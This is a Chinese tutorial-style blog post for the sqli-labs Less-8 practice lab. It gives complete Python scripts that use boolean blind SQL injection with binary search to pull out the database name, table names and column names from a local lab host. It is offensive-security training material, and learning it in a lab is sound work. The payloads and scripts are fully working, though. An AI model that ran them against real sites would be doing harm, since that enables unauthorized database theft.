less-8 boolen盲注,时间盲注 函数补全
获取当前数据库名
import requestsdef inject_database(url):name=''max_length=20 # 假设数据库名称最大长度为20# ASCII范围:数字、字母、下划线(_)low={'a': 97, 'z': 122, 'A': 65, 'Z': 90, '0': 48, '9': 57, '_': 95}high={97: 'a', 122: 'z', 65: 'A', 90: 'Z', 48: '0', 57: '9', 95: '_'}for i in range(1, max_length + 1):low_val=32 # 起始为空格的ASCII码high_val=122 # 到z的ASCII码# 执行二分查找来找到每个字符while low_val < high_val:middle_val=(low_val + high_val) // 2payload=f"1' AND ASCII(SUBSTRING(DATABASE(),{i},1))>{middle_val}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功if 'You are in' in r.text:low_val=middle_val + 1else:high_val=middle_val# 获取字符并更新数据库名if low_val > 32: # 跳过空格和其他不可见字符char=chr(low_val)name+=charprint(f"Current database name: {name}")# 重置low_val=32high_val=122print(f"Final database name: {name}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"inject_database(url)
获取数据库表
import requestsdef inject_table_names(url, database_name):table_names=[] # 用于存储所有表名max_length=20 # 假设每个表名的最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _# 获取数据库中所有表的个数# 查询所有表:我们假设表名的个数不超过100num_tables=100for table_index in range(num_tables):table_name=''for i in range(1, max_length + 1):low=min(allowed_chars) # 最小值:'0',ASCII 48high=max(allowed_chars) # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前表的名字payload=f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' LIMIT {table_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text: # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars: # 确保是有效字符table_name+=chr(middle)# 每次获取一个字符后打印当前的表名print(f"Current table name: {table_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2if table_name: # 如果当前表名非空,则保存它table_names.append(table_name)# 如果注入出了多个表,可以停止if len(table_names) >= 5: # 假设只注入前五个表名breakprint(f"Final table names: {table_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security" # 目标数据库名称inject_table_names(url, database_name)
获取表的列
import requestsdef inject_column_names(url, database_name, table_name):column_names=[] # 用于存储所有列名max_length=20 # 假设列名最大长度为20# 限制字符范围:数字、字母、下划线allowed_chars=list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [95] # 0-9, A-Z, a-z, _# 获取表的所有列的个数num_columns=100 # 假设该表最多有100列for column_index in range(num_columns):column_name=''for i in range(1, max_length + 1):low=min(allowed_chars) # 最小值:'0',ASCII 48high=max(allowed_chars) # 最大值:'z',ASCII 122middle=(low + high) // 2while low < high:# 构造布尔盲注的 payload,查询当前列的名字payload=f"1' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='{database_name}' AND table_name='{table_name}' LIMIT {column_index},1),{i},1))>{middle}-- "params={"id": payload}r=requests.get(url, params=params)# 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text: # 判断返回信息low=middle + 1else:high=middlemiddle=(low + high) // 2# 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle in allowed_chars: # 确保是有效字符column_name+=chr(middle)# 每次获取一个字符后打印当前的列名print(f"Current column name: {column_name}")# 重置 low 和 high 的值low=min(allowed_chars)high=max(allowed_chars)middle=(low + high) // 2# 检查是否是有效的列名if column_name and not column_name.startswith("0"): # 去掉以 "0" 开头的无效列名column_names.append(column_name)# 如果注入出了多个列,可以停止if len(column_names) >= 5: # 假设只注入前五个列名break# 输出最终的列名print(f"Final column names: {column_names}")if __name__ == "__main__":url="http://sqli-labs:8013/Less-8/"database_name="security" # 目标数据库名称table_name="users" # 目标表名inject_column_names(url, database_name, table_name)相关文章:
less-8 boolen盲注,时间盲注 函数补全
获取当前数据库名 import requestsdef inject_database(url):namemax_length20 # 假设数据库名称最大长度为20# ASCII范围:数字、字母、下划线(_)low{a: 97, z: 122, A: 65, Z: 90, 0: 48, 9: 57, _: 95}high{97: a, 122: z, 65: A, 90: Z,…...
[NKU]C++基础课(五)补充:结构体
【3.3】C结构体介绍_哔哩哔哩_bilibili 结构体 最厉害的学生 现有N名同学参加了期末考试,并且获得了每名同学的信息: 1 姓名(不超过8个字符的仅有英文小写字母的字符串) 2 语文、数学、英语成绩(均为不超过150的自然数)。 3 总分最高的学生就是最厉害的。 请输…...
亲测可用,IDEA中使用满血版DeepSeek R1!支持深度思考!免费!免配置!
作者:程序员 Hollis 之前介绍过在IDEA中使用DeepSeek的方案,但是很多人表示还是用的不够爽,比如用CodeChat的方案,只支持V3版本,不支持带推理的R1。想要配置R1的话有特别的麻烦。 那么,今天,给…...
springcloud整合seata
1、前置安装与了解: 1、nacos的安装:docker安装nacos并挂载 2、seata的安装:docker安装seata并挂载,同时注册到nacos 3、spring-boot版本为2.6.12,spring-cloud-alibaba版本为2021.0.4.0,spring-cloud版本…...
Html5学习教程,从入门到精通,HTML5 简介语法知识点及案例代码(1)
HTML5 简介 HTML5 是最新的 HTML 标准,它引入了许多新特性,使网页开发更加强大和灵活。以下是一些关键的 HTML5 语法知识点: 1. 文档类型声明 (DOCTYPE) HTML5 的文档类型声明非常简单: <!DOCTYPE html>2. 字符编码 HT…...
Django加bootstrap实现上传文件含有进度条
1. 项目结构 myproject/ ├── myproject/ │ ├── settings.py │ ├── urls.py │ └── ... ├── myapp/ │ ├── templates/ │ │ └── upload.html │ ├── views.py │ ├── urls.py │ └── ... └── media/ # 手动创…...
八大排序算法(2)交换排序-冒泡排序 和 快速排序
快速排序(Quick Sort) 和 冒泡排序(Bubble Sort) 都是常见的交换排序算法,它们的核心思想都是通过交换元素来实现排序。但是,它们的工作原理和性能差异非常大。下面我们来详细对比这两种排序算法࿱…...
Python的那些事第二十三篇:Express(Node.js)与 Python:一场跨语言的浪漫邂逅
摘要 在当今的编程世界里,Node.js 和 Python 像是两个性格迥异的超级英雄,一个以速度和灵活性著称,另一个则以强大和优雅闻名。本文将探讨如何通过 Express 框架将 Node.js 和 Python 结合起来,打造出一个高效、有趣的 Web 应用。我们将通过一系列幽默风趣的实例和表格,展…...
STM32MP157A单片机移植Linux驱动
在stm32mp157a单片机移植Linux操作系统,并移植内核驱动,在应用程序中使用3个线程,分别实现控制单片机上3个led流水灯的功能、蜂鸣器控制的功能、风扇控制的功能。 需求整理: 1.驱动程序-->led1.c,led2.cÿ…...
Qt程序退出相关资源释放问题
目录 问题背景: aboutToQuit 代码举例 closeEvent事件 代码举例 程序退出方式 quit() exit(int returnCode 0) close() 问题背景: 实际项目中程序退出前往往需要及进行一些资源释放、配置保存、线程中断等操作,避免资源浪费ÿ…...
【大学生职业规划大赛备赛PPT资料PDF | 免费共享】
自取链接: 链接:https://pan.quark.cn/s/4fa45515325e 📢 同学,你是不是正在为职业规划大赛发愁? 想展示独特思路却不知如何下手? 想用专业模板却找不到资源? 别担心!我整理了全网…...
win32汇编环境,对话框中使用菜单示例一
;运行效果 ;win32汇编环境,对话框中使用菜单示例一 ;最基本的应用,即添加菜单及点击后响应的操作方法 ;直接抄进RadAsm可编译运行。重要部分加备注。 ;下面为asm文件 ;>>>>>>>>>>>>>>>>>>>>>>&g…...
AutoDock CrankPep or ADCP进行蛋白质多肽对接
需求描述 使用AutoDock CrankPep or ADCP进行蛋白质多肽对接 硬件及系统配置 自用电脑型号如下: 电脑:Precision Tower 7810 (Dell Inc.) CPU : Intel Xeon CPU E5-2686 v4 2.30GHz GPU: NVIDIA GeForce GTX 1070 Linux版本&a…...
高压直流熔断器研究
1.1 定义与作用 高压直流熔断器是一种用于直流电路的过电流保护装置,其主要作用是在电路中检测到过载电流或短路电流时,迅速切断电路,以防止电力设备受损或发生火灾等事故。根据 ISO-8820 和 QC/T420-2004 等标准的定义,熔断器是…...
微信小程序(uni)+蓝牙连接+Xprint打印机实现打印功能
1.蓝牙列表实现,蓝牙设备展示,蓝牙连接 <template><view class"container"><view class"container_top"><view class"l">设备名称</view><view class"r">{{state.phoneNam…...
使用 Docker 部署 Flask 应用
使用 Docker 部署 Flask 应用 一、引言 在现代软件开发中,应用的部署和环境管理是至关重要的环节。传统的部署方式常常会遇到 “在我机器上能运行,在你机器上不行” 的问题,而 Docker 的出现很好地解决了这个痛点。Docker 是一个用于开发、部署和运行应用程序的开放平台,…...
深入浅出GraphQL:现代API设计的未来
文章目录 一、引言二、什么是GraphQL?三、GraphQL的优势3.1 精确获取数据3.2 强类型系统3.3 单一端点3.4 实时数据 四、实际应用4.1 定义Schema4.2 实现解析器4.3 启动GraphQL服务器 五、结论 一、引言 在当今的 Web 开发中,API(应用程序编程…...
深入理解Zookeeper:分布式系统的协调者
引言 在现代分布式系统中,协调和管理多个节点之间的状态和行为是一个复杂且关键的任务。Zookeeper作为一个分布式协调服务,为开发者提供了一种高效、可靠的方式来处理分布式系统中的一致性问题。本文将介绍Zookeeper的基本概念、使用场景以及如何通过示…...
python绘图之回归拟合图
回归拟合图在数据分析中具有重要作用,它不仅可以帮助我们理解变量之间的关系,还可以评估模型的拟合效果、进行预测和推断、发现异常值,以及用于模型比较和结果展示。 import pandas as pd import seaborn as sns import matplotlib.pyplot as…...
C语言学习笔记(第二部份)
说明:由于所有内容放在一个md文件中会非常卡顿,本文件将接续C.md文件的第二部分 结构体 结构是一些值的集合,这些值称为成员变量。结构的每个成员可以是不同类型的变量。 结构体的成员可以是标量,数组,指针,…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
.Net框架,除了EF还有很多很多......
文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...
Objective-C常用命名规范总结
【OC】常用命名规范总结 文章目录 【OC】常用命名规范总结1.类名(Class Name)2.协议名(Protocol Name)3.方法名(Method Name)4.属性名(Property Name)5.局部变量/实例变量(Local / Instance Variables&…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
华硕a豆14 Air香氛版,美学与科技的馨香融合
在快节奏的现代生活中,我们渴望一个能激发创想、愉悦感官的工作与生活伙伴,它不仅是冰冷的科技工具,更能触动我们内心深处的细腻情感。正是在这样的期许下,华硕a豆14 Air香氛版翩然而至,它以一种前所未有的方式&#x…...
蓝桥杯 冶炼金属
原题目链接 🔧 冶炼金属转换率推测题解 📜 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V,是一个正整数,表示每 V V V 个普通金属 O O O 可以冶炼出 …...
Kafka入门-生产者
生产者 生产者发送流程: 延迟时间为0ms时,也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于:异步发送不需要等待结果,同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...
